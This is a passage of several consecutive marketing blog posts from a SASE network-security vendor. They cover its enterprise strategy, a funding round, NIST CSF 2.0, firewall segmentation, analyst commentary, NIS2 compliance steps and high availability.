optimal performance, and maximal security posture are significantly higher than those of most enterprises.   Simply put, we partner with our customers in the deepest sense of the word. Cato shifts the burden of keeping the lights on a fragmented and complex infrastructure from the customer to us, the SASE provider. This grunt work does not add business value, it is just a “cost of doing business.” Therefore, it was an easy choice for mid-market customers that could not afford wasting resources to maintain the infrastructure. Ultimately, most organizations will realize there is simply no reason to pay that price where a proven alternative exists.   The most obvious example of this dynamic of customer capabilities vs. cloud services capabilities is Amazon Web Services (AWS). AWS eliminates the need for customers to run their own datacenters and worry about hosting, scaling, designing, deploying, and building high availability compute and storage. In the early days of AWS, customers used it for non-mission-critical departmental workloads. Today, virtually all enterprises use AWS or similar hyperscalers as their cloud datacenter platforms because they can bring to bear resources and competencies at a global scale that most enterprises can’t maintain.   AWS was never a “departmental” solution, given its underlying architecture. The Cato architecture was built with the same scale, capacity, and resiliency in mind. Cato can serve any organization.   The Cato SASE Cloud Platform: Global, Efficient, Scalable, Available  Cato created an all-new cloud-native architecture to deliver networking and security capabilities from the cloud to the largest datacenters and down to a single user. The Cato SASE Cloud is a globally distributed cloud service comprised of dozens of Points of Presence (PoPs). The PoPs run thousands of copies of a purpose-built and cloud-native networking and security stack called the Single Pass Cloud Engine (SPACE). Each SPACE can process traffic flows from any source to any destination in the context of a specific enterprise security policy. The SPACE enforces application access control (ZTNA), threat prevention (NGFW/IPS/NGAM/SWG), and data protection (CASB/DLP) and is being extended to address additional domains and requirements within the same software stack.  Large enterprises expect the highest levels of scalability, availability, and performance. The Cato architecture was built from the ground up with these essential attributes in mind. The Cato SASE Cloud has over 80 compute PoP locations worldwide, creating the largest SASE Cloud in the world. PoPs are interconnected by multiple Tier 1 carriers to ensure minimal packet loss and optimal path selection globally. Each PoP is built with multiple levels of redundancy and excess capacity to handle load surges. Smart software dynamically diverts traffic between PoPs and SPACEs in case of failure to ensure service continuity. Finally, Cato is so efficient that it has recently set an industry record for security processing -- 5 Gbps of encrypted traffic from a single location.   Cato’s further streamlines SOC and NOC operations with a single management console, and a single data lake providing a unified and normalized platform for analytics, configuration, and investigations. Simple and streamlined is not a mid-market attribute. It is an attribute of an elegant and seamless solution.   Go to Market: The Mid-Market is the Starting Point, Not the Endgame  Cato is not a typical cybersecurity startup that addresses new and incremental requirements. Rather, it is a complete rethinking and rearchitecting of how networking and security should be delivered. Simply put, Cato is disrupting legacy vendors by delivering a new platform and a completely new customer experience that automates and streamlines how businesses connect and secure their devices, users, locations, and applications.   Prospects are presented with a tradeoff: continue using legacy technologies that consume valuable IT time and resources spent on integration, deployment, scaling, upgrades, and maintenance, or adopt the new Cato paradigm of simplicity, agility, always on, and self-maintaining. This is not an easy decision. It means rethinking their networking and security architecture. Yet it is precisely the availability of the network and the ability to protect against threats that impact the enterprise’s ability to do business.  [boxlink link="https://www.catonetworks.com/resources/cato-sase-vs-the-sase-alternatives/"] Cato SASE vs. The SASE Alternatives | Download the eBook [/boxlink] With that backdrop, Cato found its early customers at the “bottom” of the mid-market segment. These customers had to balance the risk of complexity and resource scarcity or the risk of a new platform. They often lacked the internal budgets and resources to meet their needs with existing approaches; they were open to considering another way.   Since then, seven years of technical development in conjunction with wide-spread market validation of single-vendor SASE as the future of enterprise networking and security have led Cato to move up market and acquire Fortune 500 and Global 1000 enterprises at 100x the investment of early customers – on the same architecture. In the process, Cato replaced hundreds of point products, both appliances and cloud- services, from all the leading vendors to transform customers’ IT infrastructure.   Cato didn’t invent this strategy of starting with smaller enterprises and progressively addressing the needs of larger enterprises. Twenty years ago, a small security startup, Fortinet, adopted this same go-to-market approach with low-cost firewall appliances, powered by custom chips, targeting the SMB and mid-market segments. The company then proceeded to move up market and is now serving the largest enterprises in the world. While we disagree with Fortinet on the future of networking and security and the role the cloud should play in it, we agree with the go-to-market approach and expect to end in the same place.   Features and Roadmap: Addressing Enterprise Requirements at Cloud Speed  When analysts assess Cato’s platform, they do it against a list of capabilities that exist in other vendors’ offerings. But this misses the benefit of hindsight. All too often, so-called “high-end features” had been built for legacy conditions, specific edge cases, particular customer requirements that are now obsolete or have low value. In networking, for example, compression, de-duplication, and caching, aren’t aligned with today’s requirements where traffic is compressed, dynamic, and sent over connections with far more capacity that was ever imagined when WAN optimization was first developed.   On the other hand, our unique architecture allows us to add new capabilities very quickly. Over 3,000 enhancements and features were added to our cloud service last year alone. Those features are driven by customers and cross-referenced with what analysts use in their benchmarks. For that very reason, we run a customer advisory board, and conduct detailed roadmap and functional design reviews with dozens of customers and prospects. Case in point is the introduction of record setting security processing -- 5 Gbps of encrypted traffic from a single location. No other vendor has come close to that limit.   The IT Dynamics in Large Enterprises: Bridging the Networking and Security SILOs  Many analysts are pointing towards enterprise IT structure and buying patterns as a blocker to SASE adoption.  IT organizations must collaborate across networking and security teams to achieve the benefits of a single converged platform. While smaller IT organizations can do it more easily, larger IT organizations can achieve the same outcome with the guidance of visionary IT leadership. It is up to them to realize the need to embark on a journey to overcome the resource overload and skills scarcity that slows down their teams and negatively impacts the business. Across multiple IT domains, from datacenters to applications, enterprises partner with the right providers that through a combination of technology and people help IT to support the business in a world of constant change.   Cato’s journey upmarket proves that point. As we engage and deploy SASE in larger enterprises, we prove that embracing networking and security convergence is more of matter of imagining what is possible. With our large enterprise customers' success stories and the hard benefits they realized, the perceived risk of change is diminished and a new opportunity to transform IT emerges.   The Way Forward: Cato is Well Positioned to Serve the Largest Enterprises  Cato has reimagined what enterprise networking and security should be. We created the only true SASE platform that delivers the seamless and fluid experience customers got excited about when SASE was first introduced.  We have matured the Cato SASE architecture and platform for the past eight years by working with customers of all sizes to make Cato faster, better, and stronger. We have the scale, the competencies, and the processes to enhance our service, and a detailed roadmap to address evolving needs and requirements. You may be a Request for Enhancement (RFE) away from seeing how SASE, Cato’s SASE, can truly change the way your enterprise IT enables and drives the business.

Cato: The Rise of the Next-Generation Networking and Security Platform Today, we announced our largest funding round to date ($238M) at a new company valuation of over $3B. It’s a remarkable achievement that is indicative not only of Cato’s success but also of a broader change in enterprise infrastructure.   We live in an era of digital transformation. Every business wants to be as agile, scalable, and resilient as AWS (Amazon Web Service) to gain a competitive edge, reduce costs and complexity, and delight its customers. But to achieve that goal, enterprise infrastructure, including both networking and security, must undergo digital transformation itself. It must become an enabler, instead of a blocker, for the digital business. Security platforms are a step in that direction.   Platforms can be tricky. A platform, by definition, must come from a single vendor and should cover most of the requirements of a given enterprise. This is not enough, though. A vendor could seemingly create a platform by “duct taping” products that were built organically with others that came from acquisitions. In that case, while the platform might check all the functional boxes, it would not feel like a cohesive unity but a collection of non-integrated components. This is a common theme with acquisitive vendors: they provide the comfort of sound financials but are hard pressed to deliver the promised platform benefits. What they have, in fact, is a portfolio of products, not a platform.   [boxlink link="https://www.catonetworks.com/resources/cato-named-a-challenger-in-the-gartner-magic-quadrant-for-single-vendor-sase/"] Cato named a Challenger in Gartner’s Magic Quadrant for Single Vendor-SASE | Get the Report [/boxlink] In 2015, Cato embarked on a journey to build a networking and security platform, from the ground up, for the cloud era. We did not want just to cover as many functional requirements as fast as possible. Rather, we wanted to create a seamless and elegant experience, powered by a converged, global, cloud-native service that sustains maximal security posture and optimal performance, while offloading unproductive grunt work from IT professionals. A cohesive service architecture that is available everywhere enabled us to ensure scalable and resilient secure access to the largest datacenters and down to a single user.   We have been hard at work over the past eight years to mature this revolutionary architecture, that Gartner called SASE in 2019, and rapidly expand the capabilities it offered to our 2,000+ customers. We have grown not only the customer base, but the scale and complexity of enterprises that are supported by Cato today. In the process of transforming and modernizing our customers’ infrastructure we replaced many incumbent vendors, both appliance-centric and cloud-delivered, that our customers could not find the skills and resources to sustain.   Building a new platform is ambitious. Obviously, we are competing for the hearts and minds of customers that must choose between legacy approaches they lived with for so long, the so-called “known evil,” or join us to adopt a better and more effective networking and security platform for their businesses.   Today’s round of financing is proof that we are going in the right direction. Our customers, with tens of thousands of locations and millions of users, trust us to power their mission critical business operations with the only true SASE platform. They are joined today by existing and new investors that believe in our vision, our roadmap, and in our mission to change networking and security forever.   SASE is the way of the future. We imagined it, we invested in it, we built it, and we believe in it.   Cato. We ARE SASE.  

NIST Cybersecurity & Privacy Program

NIST Cybersecurity & Privacy Program Introduction  The National Institute of Standards and Technology (NIST) Cybersecurity Framework (CSF) 1.1 has been a critical reference to help reduce or mitigate cybersecurity threats to Critical Infrastructures. First launched in 2014, it remains the de facto framework to address the cyber threats we have seen. However, with an eye toward addressing more targeted, sophisticated, and coordinated future threats, it was universally acknowledged that NIST CSF 1.1 required updating.   NIST has released a public draft of version 2.0 of their Cybersecurity Framework (CSF), which promises to deliver several improvements. However, to understand the impact of this update, it helps to understand how CSF v1.1 brought us this far.   Background  Every organization in today’s evolving global environment is faced with managing enterprise security risks efficiently and effectively. Cybersecurity is daunting; depending on your industry vertical, adhering to an intense list of regulatory and compliance standards only adds to this nightmare. Whether it’s the International Organization for Standardization (ISO) 27001, Information Systems Audit and Controls Association (ISACA) COBIT5, or other such programs, it is often confusing to know how or where to start, but they all specify processes to protect and respond to cybersecurity threats.  This was the impetus behind the National Institute of Standards and Technology (NIST) developing the Cybersecurity Framework (CSF). NIST CSF references proven best practices in its Core functions: Identify, Protect, Detect, Respond, and Recover. With this framework in place, organizations now have tools to better manage enterprise cybersecurity risk by presenting organizations with the required guidance.  NIST 2.0  The development of NIST CSF version 2.0 was a collaboration of industry, academic, and government experts across the globe, demonstrating the intent of adapting this iteration of the CSF to organizations everywhere, and not just in the US. It’s focused on mitigating cybersecurity risk to industry segments of all types and sizes by helping them understand, assess, prioritize, and communicate about these risks and the actions to reduce them.  To deliver on this promise, NIST CSF 2.0 highlights several core changes to deliver a more holistic framework. The following key changes are crucial to improving CSF to make it more globally relevant:  Global applicability for all segments and sizes  The previous scope of NIST CSF primarily addressed cybersecurity for critical infrastructure in the United States. While necessary at the time, it was universally agreed that expanding this scope was necessary to include global industries, governments, and academic institutions, and NIST CSF 2.0 does this.  Focus on cybersecurity governance  Cybersecurity governance is an all-encompassing cybersecurity strategy that integrates organizational operations to mitigate the risk of business disruption due to cyber threats or attacks. Cybersecurity governance includes many activities, including accountability, risk-tolerance definitions, and oversight, just to name a few. These critical components map neatly across the five core pillars of NIST CSF: Identify, Protect, Detect, Respond, and Recover. Cybersecurity governance within NIST CSF 2.0 defines and monitors cybersecurity risk strategies and expectations.   Focus on cybersecurity supply chain risk management  An extensive, globally distributed, and interconnected supply chain ecosystem is crucial for maintaining a strong competitive advantage and avoiding potential risks to business continuity and brand reputation. However, an intense uptick in cybersecurity incidents in recent years has uncovered the extended risk that exists in our technology supply chains. For this reason, integrating Cybersecurity Supply Chain Risk Management into NIST CSF 2.0 enables this framework to effectively inform an organization’s oversight and communications related to cybersecurity risks across multiple supply chains.  [boxlink link="https://www.catonetworks.com/resources/nist-compliance-to-cato-sase/"] Mapping NIST Cybersecurity Framework (CSF) to the Cato SASE Cloud | Download the White Paper [/boxlink] Integrating Cybersecurity Risk Management with Other Domains Using the Framework  NIST CSF 2.0 acknowledges that no one framework or guideline solves all cybersecurity challenges for today’s organizations. Considering this, there is alignment to several important privacy and risk management frameworks included in this draft:  Cybersecurity Supply Chain Risk Management Practices for Systems and Organizations – NIST SP 800-161f1  NIST Privacy Framework  Integrating Cybersecurity and Enterprise Risk Management – NIST IR 8286  Artificial Intelligence Risk Management Framework – AI 100-1  Alignment to these and other frameworks ensures organizations are well-equipped with guidelines and tools to facilitate their most critical cybersecurity risk programs holistically to achieve their desired outcomes.  Framework Tiers to Characterize Cybersecurity Risk Management Outcomes  NIST CSF 2.0 includes framework tiers to help define cybersecurity risks and how they will be managed within an organization. These tiers help identify an organization's cybersecurity maturity level and will specify the perspectives of cybersecurity risk and the processes in place to manage those risks. The tiers should serve as a benchmark to inform a more holistic enterprise-wide program to manage and reduce cybersecurity risks.  Using the Framework  There is no one-size-fits-all approach to addressing cybersecurity risks and defining and managing their outcomes. NIST CSF 2.0 is a tool that can be used in various ways to inform and guide organizations in understanding their risk appetite, prioritize activities, and manage expectations for their cybersecurity risk management programs. By integrating and referencing other frameworks, NIST CSF 2.0 is a risk management connector to help develop a more holistic cybersecurity program.  Cato SASE Cloud and NIST CSF  The Cato SASE Cloud supports the Cybersecurity Framework’s core specifications by effectively identifying, mitigating, and reducing enterprise security risk. Cato’s single converged software stack delivers a holistic security posture while providing extensive visibility across the entire SASE cloud.  Our security capabilities map very well into the core requirements of the NIST CSF to provide a roadmap for customers to comply with the framework.

How to Solve the Cloud vs On-Premise Security Dilemma Introduction Organizations need to protect themselves from the risks of running their business over the internet and processing sensitive data in the cloud. The growth of SaaS applications, Shadow IT and work from anywhere have therefore driven a rapid adoption of cloud-delivered cybersecurity services. Gartner defined SSE as a collection of cloud-delivered security functions: SWG, CASB, DLP and ZTNA. SSE solutions help to move branch security to the cloud in a flexible, cost-effective and easy-to-manage way. They protect applications, data and users from North-South (incoming and outgoing) cyber threats. Of course, organizations must also protect against East-West threats, to prevent malicious actors from moving within their networks. Organizations can face challenges moving all their security to the Cloud, particularly when dealing with internal traffic segmentation (East-West traffic protection), legacy data center applications that can’t be moved to the cloud, and regulatory issues (especially in Finance and Government sectors). They often retain a legacy data center firewall for East-West traffic protection, alongside an SSE solution for North-South traffic protection. This hybrid security architecture increases complexity and operational costs. It also creates security gaps, due to the lack of unified visibility across the cloud and on-premise components. A SIEM or XDR solution could help with troubleshooting and reducing security gaps, but it won’t solve the underlying complexity and operational cost issues. Solving the cloud vs on-premise dilemma Cato Networks’ SSE 360 solution solves the “on-premise vs cloud-delivered” security dilemma by providing complete and holistic protection across the organization’s infrastructure.  It is built on a cloud-native architecture, secures traffic to all edges and provides full network visibility and control. Cato SSE 360 delivers both the North-South protection of SSE and the East-West protection normally delivered by a data center firewall, all orchestrated from one unified cloud-based console, the Cato Management Application (CMA). Cato SSE 360 offers a modular way to implement East-West traffic protection. By default, traffic protection is enforced at the POP, including features such as TLS inspection, user/device posture checks and advanced malware protection. See Figure 1 below. This does not impact user experience because there is sub-20ms latency to the closest Cato POP, worldwide. Figure 1 - WAN Firewall Policy Using the centralized Cato Management Application (CMA), it is simple to create a policy based on a zero-trust approach.  For example, in Figure 2 below, we see that only Authorized users (e.g. Cato Fong), Connected to a corporate VLAN, Running a policy-compliant device (Windows with Windows AV active) Are allowed to access sensitive resources (in this case, the Domain Controller inside the organization). Figure 2 - An example WAN Firewall rule In some situations, it is helpful to implement East-West security at the local site: to allow or block communication without sending the traffic to the POP. For Cato services, the default way to connect a site to the network is with a zero-touch edge SD-WAN device, known as a Cato Socket.  With Cato’s LAN Firewall policy, you can configure rules for allowing or blocking LAN traffic directly on the Socket, without sending traffic to the POP. You can also enable tracking (ie. record events) for each rule. Figure 3 - LAN Firewall Policy When to use a LAN firewall policy There are several scenarios in which it could make sense to apply a LAN firewall policy. Let’s review the LAN Firewall logic: Site traffic will be matched against the LAN firewall policies If there is a match, then the traffic is enforced locally at the socket level If there is no match, then traffic will be forwarded by default to the POP the socket is connected to Since the POP implements an implicit “deny” all policy for WAN traffic, administrators will just have to define a “whitelist” of policies to allow users to access local resources. [boxlink link="https://www.catonetworks.com/resources/the-business-case-for-security-transformation-with-cato-sse-360/?cpiper=true"] The Business Case for Security Transformation with Cato SSE 360 | Download the White Paper [/boxlink] Some use cases: prevent users on a Guest WiFi network from accessing local corporate resources. allow users on the corporate VLAN to access printers located in the printer VLAN, over specific TCP ports. allow IOT devices (e.g. CCTV cameras), connected to an IOT-camera VLAN, to access the IOT File Server, but only over HTTPS. allow database synchronization across two VLANs located in separate datacenter rooms over a specific protocol/port. To better show the tight interaction between the LAN firewall engine in the socket and the WAN and Internet firewall engines at the POP, let’s see this use case: In Figure 5, a CCTV camera is connected to an IoT VLAN. A LAN Firewall policy, implemented in the Cato Socket, allows the camera to access an internal CCTV server. However, the Internet Firewall, implemented at the POP, blocks access by the camera to the Internet.  This will protect against command and control (C&C) communication, if the camera is ever compromised by a malicious botnet. Figure 4 - Allow CCTV camera to access CCTV internal server All policies should both be visible in the same dashboard IT Managers can use the same CMA dashboards to set policies and review events, regardless of whether the policy is enforced in the local socket or in the POP. This makes it simple to set policies and track events. We can see this in the figures below, which show a LAN firewall event and a WAN firewall event, tracked on the CMA. Figure 6 shows a LAN firewall event. It is associated with the Guest WiFi LAN firewall policy mentioned above.  Here, we blocked access to the corporate AD server for the guest user at the socket level (LAN firewall). Figure 5 - LAN Firewall tracked event Figure 7 shows a WAN firewall event. It is associated with a WAN firewall policy for the AD Server, for a user called Cato Fong.  In this case, we allowed the user to access the AD Server at the POP level (WAN firewall), using zero trust principles: Cato is an authorized user and Windows Defender AV is active on his device. Figure 6 - WAN Firewall tracked event Benefits of cloud-based East-West protection Applying East-West protection with Cato SSE 360 brings several key benefits: It allows unified cloud-based management across all edges, for both East-West and North-South protection; It provides granular firewall policy options for both local and global segmentation; It allows bandwidth savings for situations that do not require layer 7 inspection; If provides unified, cloud-based visibility of all security and networking events. With Cato SASE Cloud and Cato SSE 360, organizations can migrate their datacenter firewalls confidently to the cloud, to experience all the benefits of a true SASE solution. Cato SSE 360 is built on a cloud-native architecture. It secures traffic to all edges and provides full network visibility and control. It delivers all the functionality of a datacenter firewall, including NGFW, SWG and local segmentation, plus Advanced Threat Protection and Managed Threat Detection and Response.

7 Compelling Reasons Why Analysts Recommend SASE

7 Compelling Reasons Why Analysts Recommend SASE Gartner introduced SASE as a new market category in 2019, defining it as the convergence of network and security into a seamless, unified, cloud-native solution. This includes SD-WAN, FWaaS, CASB, SWG, ZTNA, and more. A few years have gone by since Gartner’s recognition of SASE. Now that the market has had time to learn and experience SASE, it’s time to understand what leading industry analysts think of SASE? In this blog post, we bring seven observations from analysts who recommend SASE and analyze its underlying impact. You can read their complete insights and predictions in the report this blog post is based on, right here. 1. Convergence Matters More Than Adding New Features According to the Futuriom Cloud Secure Edge and SASE Trend Report, “The bottom line is that SASE underlines a larger trend towards consolidating technology tools and integrating them together with cloud architectures.” Point solutions increase complexity for IT teams. They also expand the attack surface and decrease network performance. SASE converges networking and security capabilities into a holistic and cloud-native platform, solving this problem. Convergence makes SASE more efficient and effective than point solutions. It improves performance through single-pass processing, improves the security posture thanks to holistic intelligence, and simplifies network planning and shortens time to resolve issues with increased visibility. 2. SASE is the Ultimate “Convergence of Convergence” SASE is convergence. Gartner Predicts 2022 highlighted how converged security delivers more complete coverage than multiple integrated point solutions. Converged Security Platforms produce efficiencies greater than the sum of their individual parts. This convergence can be achieved only when core capabilities leverage a single pass engine to address threat prevention, data protection, network acceleration, and more. 3. SASE Supports Gradual Migration: It’s an Evolution, Not a Revolution According to David Holnes, Senior Forrester Analyst, “SASE should be designed to support a gradual migration. There is definitely a way not to buy everything at once but start small and grow gradually based on your need and your pace.” SASE is a impactful market category. However, this doesn’t mean enterprise IT teams should suddenly rearchitect their entire network and security infrastructure without adequate planning. SASE transformation can take a few months, or even a few years, depending on the organization’s requirements. [boxlink link="https://www.catonetworks.com/resources/7-compelling-reasons-why-analysts-recommend-sase/"] 7 Compelling Reasons Why Analysts Recommend SASE | Download the eBook [/boxlink] 4. SASE is about Unification and Simpliciation According to John Burke, CTO and Principal Analyst of Nemertes, “With SASE, policy environments are unified. You’re not trying to define policies in eight different tools and implement consistent security across context.” With SASE, networking and security are inseparable. All users benefit from the holistic security and network optimization in SASE. 5. SASE Allows Businesses to Operate with Speed and Agility According to Andre Kindnes, Principal Analyst at Forrester Research “The network is ultimately tied to business, and becomes the business’ key differentiator.” SASE supports business agility and adds value to the business, while optimizing cost structures. IT can easily perform all support operations through self-service and centralized management. In addition, new capabilities, updates, bug fixes and patches are delivered without extensive impact on IT teams. 6. SASE is Insurance for the Future According to John Burke, CTO and Principal Analyst of Nemertes, “It’s pandemic insurance for the next pandemic.” SASE future proofs the business and network for on-going growth and innovation. It could be a drastic event like a pandemic, significant changes like digital transformation, M&A or merely changes in network patterns. SASE lets organizations move with speed and agility. 7. SASE Changes the Nature of IT Work from Tactical to Strategic According to Mary Barton, Consultant at Forrester, “IT staff is ultimately more satisfied, because they no longer deploy to remote sites to get systems up and running.” She also says, “The effect is IT morale goes up because the problems solved on a day-to-day basis are of a completely different order. They think about complex traffic problems and application troubleshooting and performance.” The health of your network has a direct impact on the health of the business. If there are network outages or performance is poor, the business’ bottom line and employee productivity are both affected. An optimized network frees IT to focus on business-critical tasks, rather than keeping the lights on. Cato Networks is SASE According to Scott Raynovich, Founder and Chief Analyst at Futuriom, “Cato pioneered SASE, creating the category before it existed.” He added, “They saw the need early on for enterprises to deliver global, cloud-delivered networking and security. It’s a vision that is now paying off with tremendous growth.” Read the complete report here.

Single Vendor SASE vs. the Alternatives: Navigating Your Options

Single Vendor SASE vs. the Alternatives: Navigating Your Options SASE sets the design guidelines for the convergence of networking and security as a cloud service. With SASE, enterprises can achieve operational simplicity, reliability, and adaptability. Unsurprisingly, since Gartner defined SASE in 2019, vendors have been repositioning their product offerings as SASE. So, what are the differences between the recommended single-vendor SASE approach and other SASE alternatives? Let’s find out. This blog post is based on the e-book “Single Vendor SASE vs. Other SASE Alternatives”, which you can read here. What is SASE? The disappearance of traditional network boundaries in favor of distributed network architectures, with users, applications, and data spread across various environments, has created greater complexity and increased risk. Consequently, enterprises dealt with increased operational costs, expanding security threats, and limited visibility. SASE is a new architectural approach that addresses current and future enterprise needs for high-performing connectivity and secure access for any user to any application, from any location. Per Gartner, the fundamental SASE architectural requirements are: Convergence - Networking and security are converged into one software that simultaneously handles core tasks, such as routing, inspection, and enforcement while sharing context. Identity-driven - Enforcing ZTNA that is based on user identities and granular access control to resources. Cloud-native - Cloud-delivered, multi-tenant, and with the ability to elastically scale. Usually, this means a microservices architecture. Global - Availability around the globe through PoPs (Points of Presence) that are close to users and applications. Support all Edges - Serving all branches, data centers, cloud, and remote users equally through a uniform security policy, while ensuring optimal application performance. In addition, a well-designed SASE solution should be controllable through a single management application. This streamlines the processes of administration, monitoring, and troubleshooting. Common SASE Architectures Today, many vendors are offering “SASE”. However, not all SASE is created equal or offers the same solutions for the same use cases and in the same way. Let's delve deeper into a quick comparison of each SASE architecture and unveil their differences. [boxlink link="https://www.catonetworks.com/resources/cato-sase-vs-the-sase-alternatives/"] Cato SASE vs. The SASE Alternatives | Download the eBook [/boxlink] 1. Single-vendor SASE A single-vendor SASE provider converges network and security capabilities into a single cloud-delivered service. This allows businesses to consolidate different point products, eliminate appliances, and ensure consistent policy enforcement. In addition, event data is stored in a single data lake. This shared context improves visibility and the effective enforcement of security policies. Additionally, centralized management makes it easier to monitor and troubleshoot network & security issues. This makes SASE simple to use, boosts efficiency, and ensures regulatory compliance. 2. Multi-vendor SASE A multi-vendor SASE involves two vendors that provide all SASE functionalities, typically combining a network-focused vendor with a security-focused one. This setup requires integration to ensure the solutions work together, and to enable log collection and correlation for visibility and management.  This approach requires multiple applications. While it can achieve functionality similar to a single-vendor system, the increased complexity often results in reduced visibility, and lack of agility and flexibility. 3. Portfolio-vendor SASE (Managed SASE) A portfolio-vendor SASE is when a service provider delivers SASE by integrating various point solutions, including a central management dashboard that uses APIs for configuration and management. While this model relieves the customer from handling multiple products, it still brings the complexity of managing a diverse SASE infrastructure. In addition, MSPs choosing this approach may face longer lead times for changes and support, adversely impacting an organization’s agility and flexibility. 4. Appliance-based SASE Appliance-based SASE, often pitched by vendors that are still tied to legacy on-premise solutions, typically routes remote users and branch traffic through a central on-site or cloud data center appliance before it reaches its destination. Although this approach may combine network and security features, its physical nature and backhauling of network traffic can adversely affect flexibility, performance, efficiency and productivity. It's a proposition that may sound appealing but has underlying limitations. Which SASE Option Is Best for Your Enterprise? It might be challenging to navigate the different SASE architectures and figuring out the differences between them. In the e-book, we present a concise comparison table that maps out the SASE architectures according to Gartner’s SASE requirements. The bottom line: a single-vendor SASE is most equipped to answer enterprises’ most pressing challenges: Network security Agility and flexibility Efficiency and productivity This is enabled through: Convergence - eliminating the need for complex integrations and troubleshooting. Identity-driven approach - for increased security and compliance. Cloud-native architecture - to ensure support for future growth. Global availability - to enhance productivity and support global activities and expansion. Support for all edges - one platform and one policy engine across the enterprise to enhance security and efficiency. According to Gartner, by 2025, single-vendor SASE offerings are expected to constitute one-third of all new SASE deployments. This is a significant increase from just 10% in 2022. How does your enterprise align with this trend? Are you positioned to be part of this growing movement?

Achieving NIS2 Compliance: Essential Steps for Companies  Introduction In an increasingly digital world, cybersecurity has become a critical concern for companies. With the rise of sophisticated cyber threats, protecting critical infrastructure and ensuring the  continuity of essential services has become a top priority. The EU’s Network and Information Security Directive (NIS2), which supersedes the previous directive from 2016, establishes a framework to enhance the security and resilience of network and information systems. In this blog post, we will explore the key steps that companies need to take to achieve NIS2 compliance.  Who needs to comply with NIS2?   The first step towards NIS2 compliance is to thoroughly understand the scope of the directive and its applicability to your organization. It is critical to assess whether your organization falls within the scope and to identify the relevant requirements.   For non-compliance with NIS regulations, companies providing essential services such as energy, healthcare, transport, or water may be fined up to £17 million in the UK and €10 million or 2% of worldwide turnover in the EU.  NIS2 will apply to any organisation with more than 50 employees whose annual turnover exceeds €10 million, and any organisation previously included in the original NIS Directive.   The updated directive now also includes the following industries:  Electronic communications  Digital services  Space  Waste management  Food  Critical product manufacturing (i.e. medicine)  Postal services  Public administration  Industries included in the original directive will remain within the remit of the updated NIS2 directive. Some smaller organizations that are critical to the functioning of a member state will also be covered by NIS2.  [boxlink link="https://www.catonetworks.com/resources/protect-your-sensitive-data-and-ensure-regulatory-compliance-with-catos-dlp/?cpiper=true"] Protect Your Sensitive Data and Ensure Regulatory Compliance with Cato’s DLP | Download the Whitepaper [/boxlink] Achieving Compliance  NIS2 introduces more stringent security requirements. It requires organizations to implement both organizational and technical measures to safeguard their networks and information systems. This includes measures such as risk management, incident detection and response, regular security assessments, and encryption of sensitive data.   By adopting these measures, organisations can significantly enhance their overall security posture.  Let’s have a closer look at the key steps to achieve NIS2 compliance:  Perform a Risk Assessment  Conduct a detailed risk assessment to identify potential vulnerabilities and threats to your network and information systems. This assessment should cover both internal and external risks, such as malware attacks, unauthorized access, human errors, and natural disasters. Understanding the specific risks your organization faces will help you design effective security measures.  Establish a Security Governance Framework  Develop a robust security governance framework that outlines the roles, responsibilities, and processes necessary to achieve and maintain NIS2 compliance. Assign clear accountability for cybersecurity at all levels of your organization and establish protocols for risk management, incident response, and communication.  Implement Security Measures  Implement appropriate technical and organizational security measures to protect your network and information systems. Ensure that they are regularly reviewed, updated, and tested to address evolving threats. Example measures include access controls using multi-factor authentication, encryption using services like PKI certificates to secure networks and systems, regular vulnerability assessments, intrusion detection and prevention systems, and secure software development practices..  Supply chain security   Assess suppliers, service providers, and even data storage providers for vulnerabilities. NIS2 requires that companies thoroughly understand potential risks, establish close relationships with partners, and consistently update security measures to ensure the utmost protection.  Incident Response and Reporting  Establish a well-defined incident response plan to address and mitigate cybersecurity incidents promptly. This plan should include procedures for identifying, reporting, and responding to security breaches or disruptions. Designate responsible personnel and establish communication channels to ensure swift and effective incident response.   NIS2 compliant organizations must report cybersecurity incidents to the competent national authorities. They must submit an “early warning” report within 24 hours of becoming aware of an incident, followed by an initial assessment within 72 hours, and a final report within one month.   Business Continuity   Implement secure backup and recovery procedures to ensure the availability of key services in the event of a system failure, disaster, data breaches or other cyber-attacks. Backup and recovery measures include regular backups, testing backup procedures, and ensuring the availability of backup copies.   Collaboration and Information Sharing  Establish a culture of proactive information exchange related to cyber threats, incidents, vulnerabilities, and cybersecurity practices. NIS2 recognizes the significance of sharing insights into the tools, methods, tactics, and procedures employed by malicious actors, as well as preparation for a cybersecurity crisis through exercises and training.  Foster collaboration and information sharing with relevant authorities, sector-specific CSIRTs (Computer Security Incident Response Team), and other organisations in the same industry.

SASE Instant High Availability and Why You Should Care

SASE Instant High Availability and Why You Should Care  High availability may be top of mind for your organization, and if not, it really should be. The cost range of an unplanned outage ranges from $140,000 to $540,000 per hour.  Obviously, this varies greatly between organizations based on a variety of factors specific to your business and environment. You can read more on how to calculate the cost of an outage to your business here: Gartner.  The adoption of the cloud makes high availability more critical than ever, as users and systems now require reliable, secure connectivity to function.  With SASE and SSE solutions, vendors often focus on the availability SLA of the service, but modern access requires a broader application of HA across the entire solution. Starting with the location, simple, low-cost, zero-touch devices should be able to easily form HA pairs. Connectivity should then utilize the best path across multiple ISPs, connecting to the best point of presence (with a suitable backup PoP nearby as well) and finally across a middle-mile architected for HA and performance (a global private backbone if you will).  How SASE Provides HA  If this makes sense to you and you don’t currently have HA in all the locations and capabilities that are critical to your business, it is important to understand why this may be. Historically, HA was high effort and high cost as appliances-based solutions required nearly 2x investment to create HA pairs. Beyond just the appliances, building redundant data centers and connectivity was also out of reach for many organizations. Additionally, customers were typically responsible for architecting, deploying, and maintaining the HA deployment (or hiring a consultant), greatly improving the overall complexity of the environment.   [boxlink link="https://www.catonetworks.com/resources/cato-named-a-challenger-in-the-gartner-magic-quadrant-for-single-vendor-sase/?cpiper=true"] Cato named a Challenger in the Gartner® Magic Quadrant™ for Single-vendor SASE | Download the Report [/boxlink] Let’s say that you do have the time and budget to build your own HA solution globally, is the time and effort worth it to you? How long will it take to implement? I understand you’ve worked hard to become an expert on specific vendor technologies, and it never hurts to know your way around a command line, but implementation and configuration are only the start. Complex HA configurations are difficult to manage on an ongoing basis, requiring specialized knowledge and skills, while not always working as expected when a failure occurs.   To protect your business, HA is essential, and SASE and SSE architectures should provide it on multiple levels natively as part of the solution. We should leave complicated command-line-based configurations and tunnels with ECMP load balancing in the past where they belong, replacing them with the simple, instant high-availability of a SASE solution you know your organization can rely on. Want to see the experience for yourself? Try this interactive demo on creating HA pairs with Cato Sockets here, I warn you, it’s so easy it may just be the world’s most boring demo. 

Traditional WAN vs. SD-WAN: Everything You Need to Know

